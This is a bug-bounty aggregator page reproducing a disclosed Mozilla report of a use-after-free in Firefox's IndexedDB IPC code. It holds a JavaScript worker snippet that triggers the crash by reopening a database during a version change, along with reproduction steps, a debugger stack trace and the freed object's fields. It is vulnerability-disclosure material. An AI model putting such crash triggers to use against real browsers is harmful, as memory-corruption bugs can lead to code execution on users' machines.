Skip to content
Memory corruption Disclosed report Advanced

IDB - Use After Free in ipc::IPCResult::Fail

A use-after-free occurs in Firefox's IndexedDB IPC code when a version-change transaction is deleted while a message is still being processed, leading to a crash. An attacker could potentially exploit this to execute arbitrary code or cause a denial of service.

Looben Yang Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 17 days
  • Paid in 28 days
  • Disclosed after 17 days
Text
Reproduction test case (just the worker code, full server code in UAF_Fail_Repro.js ):

	workercode1 += 'var  db;\n';
	workercode1 += 'var dbreq0 ;  dbreq0= indexedDB.open("TestDb'+dbSuffix+'",  1);\n';
	workercode1 += ' dbreq0.onupgradeneeded = function(event) { db = event.target.result;console.log("------upgrade needed.");db.onversionchange=function(event) {try{ dbreq0 = indexedDB.open("TestDb'+dbSuffix+'",  3);}catch(e){}\n';
	workercode1 += '};\n';
	workercode1 += '};\n';


Steps to reproduce: 
	1. Run server side script UAF_Fail_Repro.js in Node.js (node UAF_Fail_Repro.js).
	2. Enter http://localhost:12345 in Firefox browser.


Firefox version: 53.0a1 (2016-11-21) (32-bit)
OS: Windows 10


Stack trace:

	(5bac.4fb4): Access violation - code c0000005 (!!! second chance !!!)
	eax=e5e5e5e5 ebx=23239dc0 ecx=0e1c2290 edx=1163f41c esi=14a3f82f edi=23239dc0
	eip=1007aeb2 esp=14a3f7c8 ebp=14a3f7fc iopl=0         nv up ei pl nz na pe nc
	cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
	xul!mozilla::ipc::IPCResult::Fail+0x1e:
	1007aeb2 ff5028          call    dword ptr [eax+28h]  ds:002b:e5e5e60d=????????
	0:055> .exr -1
	ExceptionAddress: 1007aeb2 (xul!mozilla::ipc::IPCResult::Fail+0x0000001e)
	   ExceptionCode: c0000005 (Access violation)
	  ExceptionFlags: 00000000
	NumberParameters: 2
	   Parameter[0]: 00000000
	   Parameter[1]: e5e5e60d
	Attempt to read from address e5e5e60d
	0:055> kb
	 # ChildEBP RetAddr  Args to Child              
	00 14a3f7fc 109a195f 0e1c2290 146aa000 0e1c2290 xul!mozilla::ipc::IPCResult::Fail+0x1e [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\glue\protocolutils.cpp @ 61]
	01 14a3f814 0fe74ffa 14a3f82f 2311ac78 2311ac00 xul!mozilla::dom::indexedDB::`anonymous namespace'::VersionChangeTransaction::RecvDeleteMe+0x3b [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\dom\indexeddb\actorsparent.cpp @ 15931]
	02 14a3f8e4 0fac45c2 23239dc0 2311ac78 00000001 xul!mozilla::dom::indexedDB::PBackgroundIDBVersionChangeTransactionParent::OnMessageReceived+0x3b074e [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\obj-firefox\ipc\ipdl\pbackgroundidbversionchangetransactionparent.cpp @ 180]
	03 14a3fa80 0f82fed1 23239dc0 2311ac78 2beffd70 xul!mozilla::ipc::PBackgroundParent::OnMessageReceived+0x48 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\obj-firefox\ipc\ipdl\pbackgroundparent.cpp @ 1897]
	04 14a3fa9c 0f82fd3f 00239dc0 23239dc0 2311ac78 xul!mozilla::ipc::MessageChannel::DispatchAsyncMessage+0x50 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\glue\messagechannel.cpp @ 1744]
	05 14a3fb04 0f82f409 23239dc0 23239da0 2beffd70 xul!mozilla::ipc::MessageChannel::DispatchMessageW+0xb7 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\glue\messagechannel.cpp @ 1684]
	06 14a3fb1c 0f82f3a4 23239da0 00000000 23239da0 xul!mozilla::ipc::MessageChannel::RunMessage+0x53 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\glue\messagechannel.cpp @ 1573]
	07 14a3fb34 0f82b66f 23239da0 14611600 00000001 xul!mozilla::ipc::MessageChannel::MessageTask::Run+0x38 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\glue\messagechannel.cpp @ 1598]
	08 14a3fbcc 0f82a0b0 145d4b60 00000001 14a3fbe7 xul!nsThread::ProcessNextEvent+0x2aa [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\xpcom\threads\nsthread.cpp @ 1219]
	09 14a3fbe8 0f8dc250 14611600 14611600 581b9a8d xul!NS_ProcessNextEvent+0x16 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\xpcom\glue\nsthreadutils.cpp @ 361]
	0a 14a3fc08 0f8dc148 00611600 0eff6cb5 14611600 xul!mozilla::ipc::MessagePumpForNonMainThreads::Run+0xc0 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\glue\messagepump.cpp @ 369]
	0b (Inline) -------- -------- -------- -------- xul!MessageLoop::RunInternal+0x8 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\chromium\src\base\message_loop.cc @ 232]
	0c 14a3fc40 0f8dc117 145d4b60 00000001 581b9a00 xul!MessageLoop::RunHandler+0x20 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\chromium\src\base\message_loop.cc @ 226]
	0d 14a3fc60 0f8db01d 770b29d0 14439a30 14439ae0 xul!MessageLoop::Run+0x19 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\ipc\chromium\src\base\message_loop.cc @ 206]
	0e 14a3fc94 581b9ff2 145d4b60 06d421c8 581afab5 xul!nsThread::ThreadFunc+0xb8 [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\xpcom\threads\nsthread.cpp @ 469]
	0f 14a3fcb4 581afac2 14439a30 14a3fcfc 6c8962a4 nss3!_PR_NativeRunThread+0xcc [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\nsprpub\pr\src\threads\combined\pruthr.c @ 397]
	10 14a3fcc0 6c8962a4 14439a30 7648327f 6c896250 nss3!pr_root+0xd [c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\src\nsprpub\pr\src\md\windows\w95thred.c @ 95]
	11 14a3fcfc 770b38f4 06d421c8 770b38d0 6dd351a8 ucrtbase!_crt_at_quick_exit+0x104
	12 14a3fd10 77bf5de3 06d421c8 6d0faeba 00000000 KERNEL32!BaseThreadInitThunk+0x24
	WARNING: Stack unwind information not available. Following frames may be wrong.
	13 14a3fd58 77bf5dae ffffffff 77c1b7bd 00000000 ntdll!RtlUnicodeStringToInteger+0x253
	14 14a3fd68 00000000 6c896250 06d421c8 00000000 ntdll!RtlUnicodeStringToInteger+0x21e



Variables shows that the actor object had been freed:

	actor	class mozilla::NotNull<mozilla::ipc::IProtocol *>
	 mBasePtr	0x0e1c2290 class mozilla::ipc::IProtocol *
	  mozilla::ipc::HasResultCodes	struct mozilla::ipc::HasResultCodes
	  __vfptr	0xe5e5e5e5 
	  mId	0n-437918235
	  mSide	0n-437918235 (No matching enumerant)
	  mManager	0xe5e5e5e5 class mozilla::ipc::IProtocol *
	  mChannel	0xe5e5e5e5 class mozilla::ipc::MessageChannel *
	where	0x1163f41c "RecvDeleteMe"
	errorMsg	class nsPrintfCString

The original report as published on Mozilla's Bugzilla, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Could lead to arbitrary code execution or a crash (denial of service) in the browser.

What the attacker needed

Victim visits a malicious webpage; Firefox browser

How it was found

  1. Run the provided Node.js server script.
  2. Open Firefox and navigate to the local server address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a memory safety bug in Firefox where a part of the browser's internal messaging system tries to use an object after it has already been freed. This can cause the browser to crash and, in some cases, allow an attacker to run malicious code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.